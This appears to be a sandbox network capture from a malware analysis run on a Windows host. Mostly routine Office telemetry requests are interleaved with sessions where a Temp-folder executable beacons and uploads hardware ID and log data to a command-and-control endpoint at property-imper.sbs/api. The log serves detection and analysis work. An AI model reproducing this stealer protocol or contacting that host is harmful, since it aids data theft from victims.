2024-11-23 02:21:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022141Z-178bfbc474bw8bwphC1NYC38b400000003hg00000000qbus x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:42 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:42 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:42 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: cb31e276-601e-00ab-1151-3c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022142Z-178bfbc474bnwsh4hC1NYC2ubs00000003t000000000qv40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:42 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:42 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:42 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: fde4123d-901e-00a0-613d-3c6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022142Z-178bfbc474bmqmgjhC1NYCy16c00000003y000000000861u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:42 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49843	172.67.162.84	443	2132	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:42 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 02:21:42 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 02:21:43 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oj4nbjactpk2pbdrd1rvpnq73i; expires=Tue, 18-Mar-2025 20:08:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nhqqH%2BosNjM8NApR0mXsP4tRPe8I0MlUOQPbLImGrVDRfIubJlgUxNUFSQN1jmnYpwmfPUqw%2FCWgzKthC1z6oECbMyUzpTe8vwUloxodljXmBD5oJjsBtpE0lIBmQN71Z%2Bg7RQo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6daff878a40ca4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1608&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1712609&cwnd=240&unsent_bytes=0&cid=f216e00c669a41f0&ts=1215&x=0"
2024-11-23 02:21:43 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 02:21:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49847	172.67.162.84	443	8096	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:43 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AIEWKKFGPRZLU6PW09 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1287 Host: property-imper.sbs
2024-11-23 02:21:43 UTC	1287	OUT	Data Raw: 2d 2d 41 49 45 57 4b 4b 46 47 50 52 5a 4c 55 36 50 57 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 38 32 42 38 38 44 45 43 38 37 37 34 32 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 41 49 45 57 4b 4b 46 47 50 52 5a 4c 55 36 50 57 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 49 45 57 4b 4b 46 47 50 52 5a 4c 55 36 50 57 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --AIEWKKFGPRZLU6PW09Content-Disposition: form-data; name="hwid"6A82B88DEC87742DD7CBBD6DF28D3732--AIEWKKFGPRZLU6PW09Content-Disposition: form-data; name="pid"1--AIEWKKFGPRZLU6PW09Content-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-23 02:21:44 UTC	1021	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k2mf4k8sei5niotmkl5s0sgg24; expires=Tue, 18-Mar-2025 20:08:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TT%2BwF4NYliYvB9N4ggE%2BqHLMgRPROKID6GAbCkCe%2FN%2BVRLqege3wUOgT5p21%2FP8w6mZLeJkVccW%2BxYTTfCnxlMrhXY67GONbN31MMIHZeIh5AJko6ui8syeBMsEGWjSxOQtci4s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6daffcfea74357-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11062&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2206&delivery_rate=1476238&cwnd=172&unsent_bytes=0&cid=4d4ce74241b462c4&ts=759&x=0"
2024-11-23 02:21:44 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 02:21:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:43 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:44 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 7e238ec3-901e-00ac-3dfe-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022144Z-178bfbc474bv7whqhC1NYC1fg400000003rg00000000nse7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:44 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:43 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:44 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022144Z-178bfbc474bbbqrhhC1NYCvw7400000003xg00000000kdbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:44 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:43 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:44 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 731b5b9c-601e-0001-6b71-3cfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022144Z-174c587ffdf7t49mhC1TEB4qbg000000023000000000rk7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:44 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:44 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:45 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 008b0be1-f01e-001f-587c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022145Z-174c587ffdfp4vpjhC1TEBybqw000000026g00000000mu0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:45 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:44 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:45 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:45 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 9613c870-301e-0052-532e-3d65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022145Z-178bfbc474bh5zbqhC1NYCkdug00000003n000000000sq5m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 02:21:45 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49850	172.67.162.84	443	2132	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:45 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 02:21:45 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 02:21:46 UTC	1006	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2t82728smc7a37sgsv70533c2d; expires=Tue, 18-Mar-2025 20:08:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dLZJbamA7yL22dzIQrT7twCPgOvICEjfS1BMhDAWUseKAf92i0ScxTAZaJFMCPsBxG9eKca6yrjPxDimBBdPlpmLZSGIaBtNnX4tXMQgN6fbueF6Ui5j7C2xq2AUG2z2MeDezzk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6db007acb11891-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1497&sent=8&recv=9&lost=0&retrans=1&sent_bytes=4230&recv_bytes=955&delivery_rate=107049&cwnd=172&unsent_bytes=0&cid=5c0ffb9e9e108b24&ts=844&x=0"
2024-11-23 02:21:46 UTC	363	IN	Data Raw: 34 34 36 63 0d 0a 38 5a 77 59 38 71 57 61 43 2f 33 56 32 6f 39 56 39 6b 39 58 4b 34 68 61 68 32 6a 30 35 75 36 59 6c 36 66 65 4c 75 43 6f 30 7a 4b 4b 76 6d 37 51 6e 36 34 6e 33 36 61 2f 72 57 2b 43 50 53 4a 4f 70 48 6a 6d 44 4e 62 63 69 50 6e 37 31 4c 73 43 77 74 36 2b 45 4d 76 36 65 5a 37 57 2f 79 66 66 73 4b 4b 74 62 36 30 30 64 55 37 6d 65 4c 31 4b 6b 59 79 4d 2b 66 76 46 76 30 57 50 32 4c 39 52 6d 66 42 2f 6d 73 44 35 62 35 79 35 74 2b 6f 77 6b 79 34 39 52 65 45 33 37 77 58 57 79 73 7a 39 37 59 58 6b 44 4b 33 4e 70 31 4f 38 2f 57 75 5a 68 2b 63 6e 68 76 65 2f 34 58 66 4d 62 54 5a 4f 36 6a 62 68 44 4a 2b 4f 68 76 44 7a 78 4c 70 45 6b 4d 47 31 57 70 6e 2b 66 4a 76 4b 38 48 75 52 73 37 44 68 4e 70 6b 75 64 51 65 71 50 2f 31 4b 7a 73 54 66 79 50 62 55 72 Data Ascii: 